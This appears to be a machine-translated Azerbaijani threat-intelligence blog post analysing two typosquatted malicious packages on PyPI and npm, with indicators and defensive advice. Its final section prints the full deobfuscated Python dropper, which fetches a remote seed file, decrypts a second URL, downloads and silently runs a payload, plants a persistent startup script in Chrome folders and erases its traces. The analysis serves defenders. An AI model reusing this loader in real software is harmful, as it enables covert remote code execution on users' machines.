Xygeni bu yaxınlarda 2025-ci ildə proqram təminatı təchizatı zəncirinin hücumları mənzərəsində narahatlıq doğuran bir nümunə müşahidə etdi, iki məşhur paket meneceri arasında ortaya çıxır: PyPI və npmDavam edən təhdid kəşfiyyatı səylərimizin bir hissəsi olaraq,Xygeni-nin Zərərli Proqram Təminatı Erkən Xəbərdarlığı (MEW) alət əvvəllər başqa bir reyestrə yüklənmiş zərərli paketin fərqli, lakin metodoloji cəhətdən oxşar bir nümunəsini müəyyən etdi. Bu hal, təhdid aktyorlarının, xüsusən də ekosistemlərdə hücum üsullarının necə inkişaf etdiyini və təkrar istifadə etdiyini vurğulayır. zərərli Python paketləri və zərərli npm paketləri, bu da zərərli paketlərin açıq mənbəli təchizat zəncirlərinə sızma riskini artırır.
Xygeni'nin MEW-si: Oxşarlıqların Görünməsi
Xygeni-nin MEW aləti, zərərli paketləri, xüsusən də 2025-ci ildə Proqram Təminatı Zəncirinin Hücumları ilə əlaqəli olanları açıq mənbəli reyestrlərdə dərc edildikdən sonra aşkar etmək və işarələmək üçün hazırlanmışdır. O, yeni paketləri şübhəli davranışlar üçün təhlil etməklə işləyir.
Bu halda, ikisini müəyyən etdi zərərli Python paketləri (graphalgo PyPI-də) və zərərli npm paketləri (express-cookie-parser dəqiqədə).
Proqram Təchizat Zəncirinin Hücumlarında Zərərli Python və npm Paketləri (2025)
Gəlin xəbərdarlıqlarımızı tetikləyən ortaq xüsusiyyətləri araşdıraq:
Tiposquatting
Hər ikisi məşhur mövcud paketləri təqlid etməyə çalışdılar.
- qrafalqo (PyPI)"Qrafiklər və şəbəkələr yaratmaq və idarə etmək üçün Python paketi."adlı istifadəçi tərəfindən yükləndi “larrytech” 13 iyun 2025-ci ildə bu paket özünü orijinal zərərsiz graphalgo layihəsinə PyPi alternativi kimi təqdim etdi və sonradan bu layihənin adı graphdict olaraq dəyişdirildi.
- ekspres-kuki-parseri (npm)Bu paket, hətta onun əksini taparaq, məşhur kuki parser paketini təqlid etdi. README.md. Bu cür təqlid mövcud etimadı artırmaq üçün klassik bir taktikadır.
Birinci Müdafiə Xətti kimi Qarışıqlıq
Hər iki paket zərərli kodlarını orijinal fayllarda qarışdırdı. qrafalqo, qarışıq kod daxilində tapıldı /utils/load_libraries.py. Halda ekspres-kuki-parseri, cookie-loader.min.js qarışıq yükü özündə saxlayırdı.
Bu ilkin qarışıqlıq təbəqəsi adətən təsadüfi yoxlama və statik təhlili maneə törətmək üçün istifadə olunur. Qarşılıqlı qarışıqlıq olduqca sadə idi: təkrarlanan ZLib sıxılması və Base64 kodlaması. Bu cür qarışıqlıq, proqram təminatının öz davranışını gizlətməyə çalışdığını açıq şəkildə göstərir. Digər dəlillərlə yanaşı, bu, Xygeni MEW-yə paketləri potensial zərərli proqram kimi təsnif etməyə imkan verdi. Təsdiq mərhələsində rəyçilərimiz dərhal açıq-aşkar zərərli dropper mərhələsini aşkar edən deobfuskasiya skripti hazırladılar.
Çoxmərhələli Yük Çatdırılması və Ortaq Mənşə Nöqtəsi
Hər iki paket ilkin "damcılar"," real yük üçün zəmin yaradır. Onlar ortaq bir xarici "toxum"Fayl URL-i:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Bu eyni xarici toxum faylı ortaq bir təhdid aktyorunun güclü bir göstəricisidir. Maraqlıdır ki, bu toxum faylının məzmunu sadə mühit dəyişənləri (məsələn, JWT_SECRET, PORT) kimi görünür və potensial olaraq onun faktiki funksiyasına yanlış baxış keçirməyə səbəb ola bilər.
DGA ilə dinamik C2 qətnaməsi
Bu zərərli paketlərdə müşahidə olunan mürəkkəb taktikalardan biri Əmr və İdarəetmə (C2) serverini dinamik şəkildə həll etmək üçün Domen Yaratma Alqoritmindən (DGA) istifadə etməkdir. 2025-ci ildə qabaqcıl proqram təminatı təchizatı zənciri hücumlarında tez-tez rast gəlinən bu texnika, toxum faylının məzmunundan əldə edilən SHA256 heşinə və digər sərt kodlanmış dəyərlərə əsaslanır. Bunu etməklə, C2 infrastrukturu tez-tez dəyişir və bu da ənənəvi qara siyahını daha az təsirli edir. Bu halda, npm variantı sabit bir dəyərdən istifadə edirdi 496AAC7E DGA məntiqinin bir hissəsi kimi.
Davamlılığın Yaradılması
Hər iki hücumçu təsirlənmiş sistemlərdə uzunmüddətli mövcudluq yaratmağa çalışdı. Onların strategiyası faylın atılması idi, startup.py (PyPi üçün) və ya startup.js (npm üçün), müxtəlif əməliyyat sistemlərində (Windows, Linux, macOS) ümumi Google Chrome istifadəçi məlumat qovluqlarına.
İcra Sonrası Təmizlik
İzləri minimuma endirmək üçün hər iki zərərli skript təmizləmə əməliyyatları həyata keçirdi. Buraya ilkin dropper fayllarının silinməsi də daxil idi (load_libraries.py, cookie-loader.min.js) və qanuni paket fayllarını dəyişdirmək (__init__.py, index.js) artıq silinmiş komponentlərə istinadları silmək üçün.
Zərərli Python və npm Paketlərində Güzəşt Göstəriciləri
- PyPI Paketi: graphalgo (larrytech tərəfindən nəşr olunub, 13 iyun 2025)
- npm Paketi: ekspres-kuki-parseri (xüsusən 1.4.12 versiyası)
- Paylaşılan Toxum URL-inə giriş:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Daimi Fayl Adları:
startup.py(Python)startup.js(JavaScript) - Ümumi Davamlı Yollar (ƏS-dən asılı)Google Chrome istifadəçi məlumat qovluqlarında (məsələn,
AppData\Local\Google\Chrome\UserData\Scripts\Windows-da,~/.config/google-chrome/Scripts/Linux-da və s.).
2025-ci ildə Proqram Təminatı Zəncirinin Hücumlarında Zərərli Paketlərdən Necə Müdafiə Olunur
Tərtibatçılar üçün tövsiyə olunan yanaşma
Bu hadisə, 2025-ci ildə proqram təminatı təchizatı zənciri hücumlarının inkişaf edən təhlükə mənzərəsində dəyərli bir araşdırma rolunu oynayır. Bu, zərərli Python paketlərinin və zərərli npm paketlərinin etibarlı ekosistemlərə necə daxil ola biləcəyini və çox vaxt çox gec olana qədər aşkarlanmadan yayındığını vurğulayır. Buna görə də erkən aşkarlama, ağıllı alətlər və proaktiv sistem gigiyenası artıq istənilən təhlükəsiz DevOps iş axınının vacib hissələridir. Tərtibatçılara aşağıdakıları nəzərə almaq tövsiyə olunur:
Asılılıq İcmalı
Əgər layihələriniz daxil olubsa qrafalqo or ekspres-kuki-parseri, onların çıxarılmasına davam etmək ağıllı olardı.
- PyPI üçün:
pip uninstall graphalgo - npm üçün:
npm uninstall express-cookie-parser
Sistem Gigiyenası
Hərtərəfli sistem taramasını nəzərdən keçirin. Həmçinin, gözlənilməz hallar üçün ümumi Chrome istifadəçi məlumatları qovluq yollarını əl ilə yoxlamaq məsləhətdir. startup.py or startup.js files.
Proaktiv Təhlükəsizlik tədbirləri
- Yeni Asılılıqları Qiymətləndirinİnteqrasiyadan əvvəl yeni paketləri hərtərəfli qiymətləndirmək üçün bir rutin yaradın və tanımadığınız naşirlərin paketlərinə diqqət yetirin.
- Təhlükəsizlik Alətlərini İnteqrasiya EdinXygeni-nin MEW kimi alətləri, digər Proqram Təminatı Təhlili ilə birlikdə (SCA) həlləri, şübhəli davranışları və zəiflikləri müəyyən etməklə kritik bir müdafiə təbəqəsi təmin edə bilər.
- Ən Az İmtiyazƏn az imtiyaz prinsipi ilə inkişaf mühitlərinin idarə olunması, kompromisin potensial təsirini məhdudlaşdırmağa kömək edə bilər.
- Şəbəkə MəlumatlılığıQeyri-adi bağlantılar üçün xaricə gedən şəbəkə trafikinin monitorinqi bəzən DGA tərəfindən yaradılan C2 rabitəsini aşkar edə bilər.
Əsas komponentləri load_libraries.py (graphalgo-dan)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Göstərilən URL-lərdən faylların yüklənməsini idarə edir.run_process()Xarici Python skriptlərini ayrı bir şəkildə icra edir, çıxışı gizli saxlamaq üçün basdırır.get_output_file_path()Davamlı startup.py faylı üçün ideal sistem yerini təyin edir.remove_self()İlkin zərərli faylların və paket dəyişikliklərinin icra sonrası təmizlənməsini təşkil edir.simple_shift_encrypt()/simple_shift_decrypt()DGA tətbiqi üçün vacib olan rabitə kanallarını gizlətmək üçün xüsusi kriptoqrafik funksiyalar.load_libraries()İlkin yükləmədən son faydalı yükün icrasına və təmizlənməsinə qədər bütün çoxmərhələli prosesi əlaqələndirən mərkəzi funksiya.
Alısın
MEW tərəfindən müəyyən edilmiş digər potensial zərərli paketlərdə olduğu kimi, asılılıq firewall da bu zərərli paketləri asılılıqlarına daxil edəcək istifadəçiləri dərhal qorudu. Təsdiqdən sonra hər iki reyestr üçün bildiriş prosedurlarına əməl etdik və yoxlamadan sonra hər iki paketi sildi.







